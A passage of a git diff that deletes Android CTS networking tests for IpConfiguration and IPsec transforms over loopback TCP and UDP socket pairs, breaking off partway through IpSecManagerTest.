diff --git a/tests/tests/net/src/android/net/cts/IpConfigurationTest.java b/tests/tests/net/src/android/net/cts/IpConfigurationTest.java
deleted file mode 100644
index 56ab2a7..0000000
--- a/tests/tests/net/src/android/net/cts/IpConfigurationTest.java
+++ /dev/null
@@ -1,123 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static com.android.testutils.ParcelUtils.assertParcelSane;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNull;
-
-import android.net.IpConfiguration;
-import android.net.LinkAddress;
-import android.net.ProxyInfo;
-import android.net.StaticIpConfiguration;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import libcore.net.InetAddressUtils;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.net.InetAddress;
-import java.util.ArrayList;
-
-@RunWith(AndroidJUnit4.class)
-public final class IpConfigurationTest {
-    private static final LinkAddress LINKADDR = new LinkAddress("192.0.2.2/25");
-    private static final InetAddress GATEWAY = InetAddressUtils.parseNumericAddress("192.0.2.1");
-    private static final InetAddress DNS1 = InetAddressUtils.parseNumericAddress("8.8.8.8");
-    private static final InetAddress DNS2 = InetAddressUtils.parseNumericAddress("8.8.4.4");
-    private static final String DOMAINS = "example.com";
-
-    private static final ArrayList<InetAddress> dnsServers = new ArrayList<>();
-
-    private StaticIpConfiguration mStaticIpConfig;
-    private ProxyInfo mProxy;
-
-    @Before
-    public void setUp() {
-        dnsServers.add(DNS1);
-        dnsServers.add(DNS2);
-        mStaticIpConfig = new StaticIpConfiguration.Builder()
-                .setIpAddress(LINKADDR)
-                .setGateway(GATEWAY)
-                .setDnsServers(dnsServers)
-                .setDomains(DOMAINS)
-                .build();
-
-        mProxy = ProxyInfo.buildDirectProxy("test", 8888);
-    }
-
-    @Test
-    public void testConstructor() {
-        IpConfiguration ipConfig = new IpConfiguration();
-        checkEmpty(ipConfig);
-        assertIpConfigurationEqual(ipConfig, new IpConfiguration());
-        assertIpConfigurationEqual(ipConfig, new IpConfiguration(ipConfig));
-
-        ipConfig.setStaticIpConfiguration(mStaticIpConfig);
-        ipConfig.setHttpProxy(mProxy);
-
-        ipConfig.setIpAssignment(IpConfiguration.IpAssignment.STATIC);
-        ipConfig.setProxySettings(IpConfiguration.ProxySettings.PAC);
-        assertIpConfigurationEqual(ipConfig, new IpConfiguration(ipConfig));
-
-        ipConfig.setIpAssignment(IpConfiguration.IpAssignment.STATIC);
-        ipConfig.setProxySettings(IpConfiguration.ProxySettings.STATIC);
-        assertIpConfigurationEqual(ipConfig, new IpConfiguration(ipConfig));
-
-        ipConfig.setIpAssignment(IpConfiguration.IpAssignment.DHCP);
-        ipConfig.setProxySettings(IpConfiguration.ProxySettings.PAC);
-        assertIpConfigurationEqual(ipConfig, new IpConfiguration(ipConfig));
-
-        ipConfig.setIpAssignment(IpConfiguration.IpAssignment.DHCP);
-        ipConfig.setProxySettings(IpConfiguration.ProxySettings.PAC);
-        assertIpConfigurationEqual(ipConfig, new IpConfiguration(ipConfig));
-
-        ipConfig.setIpAssignment(IpConfiguration.IpAssignment.DHCP);
-        ipConfig.setProxySettings(IpConfiguration.ProxySettings.STATIC);
-        assertIpConfigurationEqual(ipConfig, new IpConfiguration(ipConfig));
-
-        ipConfig.setIpAssignment(IpConfiguration.IpAssignment.DHCP);
-        ipConfig.setProxySettings(IpConfiguration.ProxySettings.NONE);
-        assertIpConfigurationEqual(ipConfig, new IpConfiguration(ipConfig));
-    }
-
-    private void checkEmpty(IpConfiguration config) {
-        assertEquals(IpConfiguration.IpAssignment.UNASSIGNED,
-                config.getIpAssignment().UNASSIGNED);
-        assertEquals(IpConfiguration.ProxySettings.UNASSIGNED,
-                config.getProxySettings().UNASSIGNED);
-        assertNull(config.getStaticIpConfiguration());
-        assertNull(config.getHttpProxy());
-    }
-
-    private void assertIpConfigurationEqual(IpConfiguration source, IpConfiguration target) {
-        assertEquals(source.getIpAssignment(), target.getIpAssignment());
-        assertEquals(source.getProxySettings(), target.getProxySettings());
-        assertEquals(source.getHttpProxy(), target.getHttpProxy());
-        assertEquals(source.getStaticIpConfiguration(), target.getStaticIpConfiguration());
-    }
-
-    @Test
-    public void testParcel() {
-        final IpConfiguration config = new IpConfiguration();
-        assertParcelSane(config, 4);
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/IpSecBaseTest.java b/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
deleted file mode 100644
index 10e43e7..0000000
--- a/tests/tests/net/src/android/net/cts/IpSecBaseTest.java
+++ /dev/null
@@ -1,556 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static org.junit.Assert.assertArrayEquals;
-
-import android.content.Context;
-import android.net.ConnectivityManager;
-import android.net.IpSecAlgorithm;
-import android.net.IpSecManager;
-import android.net.IpSecTransform;
-import android.platform.test.annotations.AppModeFull;
-import android.system.Os;
-import android.system.OsConstants;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.net.DatagramPacket;
-import java.net.DatagramSocket;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.net.InetSocketAddress;
-import java.net.ServerSocket;
-import java.net.Socket;
-import java.net.SocketException;
-import java.util.Arrays;
-import java.util.concurrent.atomic.AtomicInteger;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-public class IpSecBaseTest {
-
-    private static final String TAG = IpSecBaseTest.class.getSimpleName();
-
-    protected static final String IPV4_LOOPBACK = "127.0.0.1";
-    protected static final String IPV6_LOOPBACK = "::1";
-    protected static final String[] LOOPBACK_ADDRS = new String[] {IPV4_LOOPBACK, IPV6_LOOPBACK};
-    protected static final int[] DIRECTIONS =
-            new int[] {IpSecManager.DIRECTION_IN, IpSecManager.DIRECTION_OUT};
-
-    protected static final byte[] TEST_DATA = "Best test data ever!".getBytes();
-    protected static final int DATA_BUFFER_LEN = 4096;
-    protected static final int SOCK_TIMEOUT = 500;
-
-    private static final byte[] KEY_DATA = {
-        0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
-        0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F,
-        0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17,
-        0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F,
-        0x20, 0x21, 0x22, 0x23
-    };
-
-    protected static final byte[] AUTH_KEY = getKey(256);
-    protected static final byte[] CRYPT_KEY = getKey(256);
-
-    protected ConnectivityManager mCM;
-    protected IpSecManager mISM;
-
-    @Before
-    public void setUp() throws Exception {
-        mISM =
-                (IpSecManager)
-                        InstrumentationRegistry.getContext()
-                                .getSystemService(Context.IPSEC_SERVICE);
-        mCM =
-                (ConnectivityManager)
-                        InstrumentationRegistry.getContext()
-                                .getSystemService(Context.CONNECTIVITY_SERVICE);
-    }
-
-    protected static byte[] getKey(int bitLength) {
-        return Arrays.copyOf(KEY_DATA, bitLength / 8);
-    }
-
-    protected static int getDomain(InetAddress address) {
-        int domain;
-        if (address instanceof Inet6Address) {
-            domain = OsConstants.AF_INET6;
-        } else {
-            domain = OsConstants.AF_INET;
-        }
-        return domain;
-    }
-
-    protected static int getPort(FileDescriptor sock) throws Exception {
-        return ((InetSocketAddress) Os.getsockname(sock)).getPort();
-    }
-
-    public static interface GenericSocket extends AutoCloseable {
-        void send(byte[] data) throws Exception;
-
-        byte[] receive() throws Exception;
-
-        int getPort() throws Exception;
-
-        void close() throws Exception;
-
-        void applyTransportModeTransform(
-                IpSecManager ism, int direction, IpSecTransform transform) throws Exception;
-
-        void removeTransportModeTransforms(IpSecManager ism) throws Exception;
-    }
-
-    public static interface GenericTcpSocket extends GenericSocket {}
-
-    public static interface GenericUdpSocket extends GenericSocket {
-        void sendTo(byte[] data, InetAddress dstAddr, int port) throws Exception;
-    }
-
-    public abstract static class NativeSocket implements GenericSocket {
-        public FileDescriptor mFd;
-
-        public NativeSocket(FileDescriptor fd) {
-            mFd = fd;
-        }
-
-        @Override
-        public void send(byte[] data) throws Exception {
-            Os.write(mFd, data, 0, data.length);
-        }
-
-        @Override
-        public byte[] receive() throws Exception {
-            byte[] in = new byte[DATA_BUFFER_LEN];
-            AtomicInteger bytesRead = new AtomicInteger(-1);
-
-            Thread readSockThread = new Thread(() -> {
-                long startTime = System.currentTimeMillis();
-                while (bytesRead.get() < 0 && System.currentTimeMillis() < startTime + SOCK_TIMEOUT) {
-                    try {
-                        bytesRead.set(Os.recvfrom(mFd, in, 0, DATA_BUFFER_LEN, 0, null));
-                    } catch (Exception e) {
-                        Log.e(TAG, "Error encountered reading from socket", e);
-                    }
-                }
-            });
-
-            readSockThread.start();
-            readSockThread.join(SOCK_TIMEOUT);
-
-            if (bytesRead.get() < 0) {
-                throw new IOException("No data received from socket");
-            }
-
-            return Arrays.copyOfRange(in, 0, bytesRead.get());
-        }
-
-        @Override
-        public int getPort() throws Exception {
-            return IpSecBaseTest.getPort(mFd);
-        }
-
-        @Override
-        public void close() throws Exception {
-            Os.close(mFd);
-        }
-
-        @Override
-        public void applyTransportModeTransform(
-                IpSecManager ism, int direction, IpSecTransform transform) throws Exception {
-            ism.applyTransportModeTransform(mFd, direction, transform);
-        }
-
-        @Override
-        public void removeTransportModeTransforms(IpSecManager ism) throws Exception {
-            ism.removeTransportModeTransforms(mFd);
-        }
-    }
-
-    public static class NativeTcpSocket extends NativeSocket implements GenericTcpSocket {
-        public NativeTcpSocket(FileDescriptor fd) {
-            super(fd);
-        }
-    }
-
-    public static class NativeUdpSocket extends NativeSocket implements GenericUdpSocket {
-        public NativeUdpSocket(FileDescriptor fd) {
-            super(fd);
-        }
-
-        @Override
-        public void sendTo(byte[] data, InetAddress dstAddr, int port) throws Exception {
-            Os.sendto(mFd, data, 0, data.length, 0, dstAddr, port);
-        }
-    }
-
-    public static class JavaUdpSocket implements GenericUdpSocket {
-        public final DatagramSocket mSocket;
-
-        public JavaUdpSocket(InetAddress localAddr, int port) {
-            try {
-                mSocket = new DatagramSocket(port, localAddr);
-                mSocket.setSoTimeout(SOCK_TIMEOUT);
-            } catch (SocketException e) {
-                // Fail loudly if we can't set up sockets properly. And without the timeout, we
-                // could easily end up in an endless wait.
-                throw new RuntimeException(e);
-            }
-        }
-
-        public JavaUdpSocket(InetAddress localAddr) {
-            try {
-                mSocket = new DatagramSocket(0, localAddr);
-                mSocket.setSoTimeout(SOCK_TIMEOUT);
-            } catch (SocketException e) {
-                // Fail loudly if we can't set up sockets properly. And without the timeout, we
-                // could easily end up in an endless wait.
-                throw new RuntimeException(e);
-            }
-        }
-
-        @Override
-        public void send(byte[] data) throws Exception {
-            mSocket.send(new DatagramPacket(data, data.length));
-        }
-
-        @Override
-        public void sendTo(byte[] data, InetAddress dstAddr, int port) throws Exception {
-            mSocket.send(new DatagramPacket(data, data.length, dstAddr, port));
-        }
-
-        @Override
-        public int getPort() throws Exception {
-            return mSocket.getLocalPort();
-        }
-
-        @Override
-        public void close() throws Exception {
-            mSocket.close();
-        }
-
-        @Override
-        public byte[] receive() throws Exception {
-            DatagramPacket data = new DatagramPacket(new byte[DATA_BUFFER_LEN], DATA_BUFFER_LEN);
-            mSocket.receive(data);
-            return Arrays.copyOfRange(data.getData(), 0, data.getLength());
-        }
-
-        @Override
-        public void applyTransportModeTransform(
-                IpSecManager ism, int direction, IpSecTransform transform) throws Exception {
-            ism.applyTransportModeTransform(mSocket, direction, transform);
-        }
-
-        @Override
-        public void removeTransportModeTransforms(IpSecManager ism) throws Exception {
-            ism.removeTransportModeTransforms(mSocket);
-        }
-    }
-
-    public static class JavaTcpSocket implements GenericTcpSocket {
-        public final Socket mSocket;
-
-        public JavaTcpSocket(Socket socket) {
-            mSocket = socket;
-            try {
-                mSocket.setSoTimeout(SOCK_TIMEOUT);
-            } catch (SocketException e) {
-                // Fail loudly if we can't set up sockets properly. And without the timeout, we
-                // could easily end up in an endless wait.
-                throw new RuntimeException(e);
-            }
-        }
-
-        @Override
-        public void send(byte[] data) throws Exception {
-            mSocket.getOutputStream().write(data);
-        }
-
-        @Override
-        public byte[] receive() throws Exception {
-            byte[] in = new byte[DATA_BUFFER_LEN];
-            int bytesRead = mSocket.getInputStream().read(in);
-            return Arrays.copyOfRange(in, 0, bytesRead);
-        }
-
-        @Override
-        public int getPort() throws Exception {
-            return mSocket.getLocalPort();
-        }
-
-        @Override
-        public void close() throws Exception {
-            mSocket.close();
-        }
-
-        @Override
-        public void applyTransportModeTransform(
-                IpSecManager ism, int direction, IpSecTransform transform) throws Exception {
-            ism.applyTransportModeTransform(mSocket, direction, transform);
-        }
-
-        @Override
-        public void removeTransportModeTransforms(IpSecManager ism) throws Exception {
-            ism.removeTransportModeTransforms(mSocket);
-        }
-    }
-
-    public static class SocketPair<T> {
-        public final T mLeftSock;
-        public final T mRightSock;
-
-        public SocketPair(T leftSock, T rightSock) {
-            mLeftSock = leftSock;
-            mRightSock = rightSock;
-        }
-    }
-
-    protected static void applyTransformBidirectionally(
-            IpSecManager ism, IpSecTransform transform, GenericSocket socket) throws Exception {
-        for (int direction : DIRECTIONS) {
-            socket.applyTransportModeTransform(ism, direction, transform);
-        }
-    }
-
-    public static SocketPair<NativeUdpSocket> getNativeUdpSocketPair(
-            InetAddress localAddr, IpSecManager ism, IpSecTransform transform, boolean connected)
-            throws Exception {
-        int domain = getDomain(localAddr);
-
-        NativeUdpSocket leftSock = new NativeUdpSocket(
-            Os.socket(domain, OsConstants.SOCK_DGRAM, OsConstants.IPPROTO_UDP));
-        NativeUdpSocket rightSock = new NativeUdpSocket(
-            Os.socket(domain, OsConstants.SOCK_DGRAM, OsConstants.IPPROTO_UDP));
-
-        for (NativeUdpSocket sock : new NativeUdpSocket[] {leftSock, rightSock}) {
-            applyTransformBidirectionally(ism, transform, sock);
-            Os.bind(sock.mFd, localAddr, 0);
-        }
-
-        if (connected) {
-            Os.connect(leftSock.mFd, localAddr, rightSock.getPort());
-            Os.connect(rightSock.mFd, localAddr, leftSock.getPort());
-        }
-
-        return new SocketPair<>(leftSock, rightSock);
-    }
-
-    public static SocketPair<NativeTcpSocket> getNativeTcpSocketPair(
-            InetAddress localAddr, IpSecManager ism, IpSecTransform transform) throws Exception {
-        int domain = getDomain(localAddr);
-
-        NativeTcpSocket server = new NativeTcpSocket(
-                Os.socket(domain, OsConstants.SOCK_STREAM, OsConstants.IPPROTO_TCP));
-        NativeTcpSocket client = new NativeTcpSocket(
-                Os.socket(domain, OsConstants.SOCK_STREAM, OsConstants.IPPROTO_TCP));
-
-        Os.bind(server.mFd, localAddr, 0);
-
-        applyTransformBidirectionally(ism, transform, server);
-        applyTransformBidirectionally(ism, transform, client);
-
-        Os.listen(server.mFd, 10);
-        Os.connect(client.mFd, localAddr, server.getPort());
-        NativeTcpSocket accepted = new NativeTcpSocket(Os.accept(server.mFd, null));
-
-        applyTransformBidirectionally(ism, transform, accepted);
-        server.close();
-
-        return new SocketPair<>(client, accepted);
-    }
-
-    public static SocketPair<JavaUdpSocket> getJavaUdpSocketPair(
-            InetAddress localAddr, IpSecManager ism, IpSecTransform transform, boolean connected)
-            throws Exception {
-        JavaUdpSocket leftSock = new JavaUdpSocket(localAddr);
-        JavaUdpSocket rightSock = new JavaUdpSocket(localAddr);
-
-        applyTransformBidirectionally(ism, transform, leftSock);
-        applyTransformBidirectionally(ism, transform, rightSock);
-
-        if (connected) {
-            leftSock.mSocket.connect(localAddr, rightSock.mSocket.getLocalPort());
-            rightSock.mSocket.connect(localAddr, leftSock.mSocket.getLocalPort());
-        }
-
-        return new SocketPair<>(leftSock, rightSock);
-    }
-
-    public static SocketPair<JavaTcpSocket> getJavaTcpSocketPair(
-            InetAddress localAddr, IpSecManager ism, IpSecTransform transform) throws Exception {
-        JavaTcpSocket clientSock = new JavaTcpSocket(new Socket());
-        ServerSocket serverSocket = new ServerSocket();
-        serverSocket.bind(new InetSocketAddress(localAddr, 0));
-
-        // While technically the client socket does not need to be bound, the OpenJDK implementation
-        // of Socket only allocates an FD when bind() or connect() or other similar methods are
-        // called. So we call bind to force the FD creation, so that we can apply a transform to it
-        // prior to socket connect.
-        clientSock.mSocket.bind(new InetSocketAddress(localAddr, 0));
-
-        // IpSecService doesn't support serverSockets at the moment; workaround using FD
-        FileDescriptor serverFd = serverSocket.getImpl().getFD$();
-
-        applyTransformBidirectionally(ism, transform, new NativeTcpSocket(serverFd));
-        applyTransformBidirectionally(ism, transform, clientSock);
-
-        clientSock.mSocket.connect(new InetSocketAddress(localAddr, serverSocket.getLocalPort()));
-        JavaTcpSocket acceptedSock = new JavaTcpSocket(serverSocket.accept());
-
-        applyTransformBidirectionally(ism, transform, acceptedSock);
-        serverSocket.close();
-
-        return new SocketPair<>(clientSock, acceptedSock);
-    }
-
-    private void checkSocketPair(GenericSocket left, GenericSocket right) throws Exception {
-        left.send(TEST_DATA);
-        assertArrayEquals(TEST_DATA, right.receive());
-
-        right.send(TEST_DATA);
-        assertArrayEquals(TEST_DATA, left.receive());
-
-        left.close();
-        right.close();
-    }
-
-    private void checkUnconnectedUdpSocketPair(
-            GenericUdpSocket left, GenericUdpSocket right, InetAddress localAddr) throws Exception {
-        left.sendTo(TEST_DATA, localAddr, right.getPort());
-        assertArrayEquals(TEST_DATA, right.receive());
-
-        right.sendTo(TEST_DATA, localAddr, left.getPort());
-        assertArrayEquals(TEST_DATA, left.receive());
-
-        left.close();
-        right.close();
-    }
-
-    protected static IpSecTransform buildIpSecTransform(
-            Context context,
-            IpSecManager.SecurityParameterIndex spi,
-            IpSecManager.UdpEncapsulationSocket encapSocket,
-            InetAddress remoteAddr)
-            throws Exception {
-        IpSecTransform.Builder builder =
-                new IpSecTransform.Builder(context)
-                        .setEncryption(new IpSecAlgorithm(IpSecAlgorithm.CRYPT_AES_CBC, CRYPT_KEY))
-                        .setAuthentication(
-                                new IpSecAlgorithm(
-                                        IpSecAlgorithm.AUTH_HMAC_SHA256,
-                                        AUTH_KEY,
-                                        AUTH_KEY.length * 4));
-
-        if (encapSocket != null) {
-            builder.setIpv4Encapsulation(encapSocket, encapSocket.getPort());
-        }
-
-        return builder.buildTransportModeTransform(remoteAddr, spi);
-    }
-
-    private IpSecTransform buildDefaultTransform(InetAddress localAddr) throws Exception {
-        try (IpSecManager.SecurityParameterIndex spi =
-                mISM.allocateSecurityParameterIndex(localAddr)) {
-            return buildIpSecTransform(InstrumentationRegistry.getContext(), spi, null, localAddr);
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void testJavaTcpSocketPair() throws Exception {
-        for (String addr : LOOPBACK_ADDRS) {
-            InetAddress local = InetAddress.getByName(addr);
-            try (IpSecTransform transform = buildDefaultTransform(local)) {
-                SocketPair<JavaTcpSocket> sockets = getJavaTcpSocketPair(local, mISM, transform);
-                checkSocketPair(sockets.mLeftSock, sockets.mRightSock);
-            }
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void testJavaUdpSocketPair() throws Exception {
-        for (String addr : LOOPBACK_ADDRS) {
-            InetAddress local = InetAddress.getByName(addr);
-            try (IpSecTransform transform = buildDefaultTransform(local)) {
-                SocketPair<JavaUdpSocket> sockets =
-                        getJavaUdpSocketPair(local, mISM, transform, true);
-                checkSocketPair(sockets.mLeftSock, sockets.mRightSock);
-            }
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void testJavaUdpSocketPairUnconnected() throws Exception {
-        for (String addr : LOOPBACK_ADDRS) {
-            InetAddress local = InetAddress.getByName(addr);
-            try (IpSecTransform transform = buildDefaultTransform(local)) {
-                SocketPair<JavaUdpSocket> sockets =
-                        getJavaUdpSocketPair(local, mISM, transform, false);
-                checkUnconnectedUdpSocketPair(sockets.mLeftSock, sockets.mRightSock, local);
-            }
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void testNativeTcpSocketPair() throws Exception {
-        for (String addr : LOOPBACK_ADDRS) {
-            InetAddress local = InetAddress.getByName(addr);
-            try (IpSecTransform transform = buildDefaultTransform(local)) {
-                SocketPair<NativeTcpSocket> sockets =
-                        getNativeTcpSocketPair(local, mISM, transform);
-                checkSocketPair(sockets.mLeftSock, sockets.mRightSock);
-            }
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void testNativeUdpSocketPair() throws Exception {
-        for (String addr : LOOPBACK_ADDRS) {
-            InetAddress local = InetAddress.getByName(addr);
-            try (IpSecTransform transform = buildDefaultTransform(local)) {
-                SocketPair<NativeUdpSocket> sockets =
-                        getNativeUdpSocketPair(local, mISM, transform, true);
-                checkSocketPair(sockets.mLeftSock, sockets.mRightSock);
-            }
-        }
-    }
-
-    @Test
-    @AppModeFull(reason = "Socket cannot bind in instant app mode")
-    public void testNativeUdpSocketPairUnconnected() throws Exception {
-        for (String addr : LOOPBACK_ADDRS) {
-            InetAddress local = InetAddress.getByName(addr);
-            try (IpSecTransform transform = buildDefaultTransform(local)) {
-                SocketPair<NativeUdpSocket> sockets =
-                        getNativeUdpSocketPair(local, mISM, transform, false);
-                checkUnconnectedUdpSocketPair(sockets.mLeftSock, sockets.mRightSock, local);
-            }
-        }
-    }
-}
diff --git a/tests/tests/net/src/android/net/cts/IpSecManagerTest.java b/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
deleted file mode 100644
index 355b496..0000000
--- a/tests/tests/net/src/android/net/cts/IpSecManagerTest.java
+++ /dev/null
@@ -1,1189 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.net.cts;
-
-import static android.net.cts.PacketUtils.AES_CBC_BLK_SIZE;
-import static android.net.cts.PacketUtils.AES_CBC_IV_LEN;
-import static android.net.cts.PacketUtils.AES_GCM_BLK_SIZE;
-import static android.net.cts.PacketUtils.AES_GCM_IV_LEN;
-import static android.net.cts.PacketUtils.IP4_HDRLEN;
-import static android.net.cts.PacketUtils.IP6_HDRLEN;
-import static android.net.cts.PacketUtils.TCP_HDRLEN_WITH_TIMESTAMP_OPT;
-import static android.net.cts.PacketUtils.UDP_HDRLEN;
-import static android.system.OsConstants.IPPROTO_TCP;
-import static android.system.OsConstants.IPPROTO_UDP;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.net.IpSecAlgorithm;
-import android.net.IpSecManager;
-import android.net.IpSecTransform;
-import android.net.TrafficStats;
-import android.platform.test.annotations.AppModeFull;
-import android.system.ErrnoException;
-import android.system.Os;
-import android.system.OsConstants;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
-import java.io.FileDescriptor;
-import java.io.IOException;
-import java.net.DatagramPacket;
-import java.net.DatagramSocket;
-import java.net.Inet6Address;
-import java.net.InetAddress;
-import java.util.Arrays;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@RunWith(AndroidJUnit4.class)
-@AppModeFull(reason = "Socket cannot bind in instant app mode")
-public class IpSecManagerTest extends IpSecBaseTest {
-
-    private static final String TAG = IpSecManagerTest.class.getSimpleName();
-
-    private static final InetAddress GOOGLE_DNS_4 = InetAddress.parseNumericAddress("8.8.8.8");
-    private static final InetAddress GOOGLE_DNS_6 =
-            InetAddress.parseNumericAddress("2001:4860:4860::8888");
-
-    private static final InetAddress[] GOOGLE_DNS_LIST =
-            new InetAddress[] {GOOGLE_DNS_4, GOOGLE_DNS_6};
-
-    private static final int DROID_SPI = 0xD1201D;
-    private static final int MAX_PORT_BIND_ATTEMPTS = 10;
-
-    private static final byte[] AEAD_KEY = getKey(288);
-
-    /*
-     * Allocate a random SPI
-     * Allocate a specific SPI using previous randomly created SPI value
-     * Realloc the same SPI that was specifically created (expect SpiUnavailable)
-     * Close SPIs
-     */
-    @Test
-    public void testAllocSpi() throws Exception {
-        for (InetAddress addr : GOOGLE_DNS_LIST) {
-            IpSecManager.SecurityParameterIndex randomSpi = null, droidSpi = null;
-            randomSpi = mISM.allocateSecurityParameterIndex(addr);
-            assertTrue(
-                    "Failed to receive a valid SPI",
-                    randomSpi.getSpi() != IpSecManager.INVALID_SECURITY_PARAMETER_INDEX);
-
-            droidSpi = mISM.allocateSecurityParameterIndex(addr, DROID_SPI);
-            assertTrue("Failed to allocate specified SPI, " + DROID_SPI,
-                    droidSpi.getSpi() == DROID_SPI);
-
-            try {
-                mISM.allocateSecurityParameterIndex(addr, DROID_SPI);
-                fail("Duplicate SPI was allowed to be created");
-            } catch (IpSecManager.SpiUnavailableException expected) {
-                // This is a success case because we expect a dupe SPI to throw
-            }
-
-            randomSpi.close();
-            droidSpi.close();
-        }
-    }
-
-    /** This function finds an available port */
-    private static int findUnusedPort() throws Exception {
-        // Get an available port.
-        DatagramSocket s = new DatagramSocket();
-        int port = s.getLocalPort();
-        s.close();
-        return port;
-    }
-
-    private static FileDescriptor getBoundUdpSocket(InetAddress address) throws Exception {
-        FileDescriptor sock =
-                Os.socket(getDomain(address), OsConstants.SOCK_DGRAM, OsConstants.IPPROTO_UDP);
-
-        for (int i = 0; i < MAX_PORT_BIND_ATTEMPTS; i++) {
-            try {
-                int port = findUnusedPort();
-                Os.bind(sock, address, port);
-                break;
-            } catch (ErrnoException e) {
-                // Someone claimed the port since we called findUnusedPort.
-                if (e.errno == OsConstants.EADDRINUSE) {
-                    if (i == MAX_PORT_BIND_ATTEMPTS - 1) {
-
-                        fail("Failed " + MAX_PORT_BIND_ATTEMPTS + " attempts to bind to a port");
-                    }
-                    continue;
-                }
-                throw e.rethrowAsIOException();
-            }
-        }
-        return sock;
-    }
-
-    private void checkUnconnectedUdp(IpSecTransform transform, InetAddress local, int sendCount,
-                                     boolean useJavaSockets) throws Exception {
-        GenericUdpSocket sockLeft = null, sockRight = null;
-        if (useJavaSockets) {
-            SocketPair<JavaUdpSocket> sockets = getJavaUdpSocketPair(local, mISM, transform, false);
-            sockLeft = sockets.mLeftSock;
-            sockRight = sockets.mRightSock;
-        } else {
-            SocketPair<NativeUdpSocket> sockets =
-                    getNativeUdpSocketPair(local, mISM, transform, false);
-            sockLeft = sockets.mLeftSock;
-            sockRight = sockets.mRightSock;
-        }
-
-        for (int i = 0; i < sendCount; i++) {
-            byte[] in;
-
-            sockLeft.sendTo(TEST_DATA, local, sockRight.getPort());
-            in = sockRight.receive();
-            assertArrayEquals("Left-to-right encrypted data did not match.", TEST_DATA, in);
-
-            sockRight.sendTo(TEST_DATA, local, sockLeft.getPort());
-            in = sockLeft.receive();
-            assertArrayEquals("Right-to-left encrypted data did not match.", TEST_DATA, in);
-        }
-
-        sockLeft.close();
-        sockRight.close();
-    }
-
-    private void checkTcp(IpSecTransform transform, InetAddress local, int sendCount,
-                          boolean useJavaSockets) throws Exception {
-        GenericTcpSocket client = null, accepted = null;
-        if (useJavaSockets) {
-            SocketPair<JavaTcpSocket> sockets = getJavaTcpSocketPair(local, mISM, transform);
-            client = sockets.mLeftSock;
-            accepted = sockets.mRightSock;
-        } else {
-            SocketPair<NativeTcpSocket> sockets = getNativeTcpSocketPair(local, mISM, transform);
-            client = sockets.mLeftSock;
-            accepted = sockets.mRightSock;
-        }
-
-        // Wait for TCP handshake packets to be counted
-        StatsChecker.waitForNumPackets(3); // (SYN, SYN+ACK, ACK)
-
-        // Reset StatsChecker, to ignore negotiation overhead.
-        StatsChecker.initStatsChecker();
-        for (int i = 0; i < sendCount; i++) {
-            byte[] in;
-
-            client.send(TEST_DATA);
-            in = accepted.receive();
-            assertArrayEquals("Client-to-server encrypted data did not match.", TEST_DATA, in);
-
-            // Allow for newest data + ack packets to be returned before sending next packet
-            // Also add the number of expected packets in each of the previous runs (4 per run)
-            StatsChecker.waitForNumPackets(2 + (4 * i));
-
-            accepted.send(TEST_DATA);
-            in = client.receive();
-            assertArrayEquals("Server-to-client encrypted data did not match.", TEST_DATA, in);
-
-            // Allow for all data + ack packets to be returned before sending next packet
-            // Also add the number of expected packets in each of the previous runs (4 per run)
-            StatsChecker.waitForNumPackets(4 * (i + 1));
-        }
-
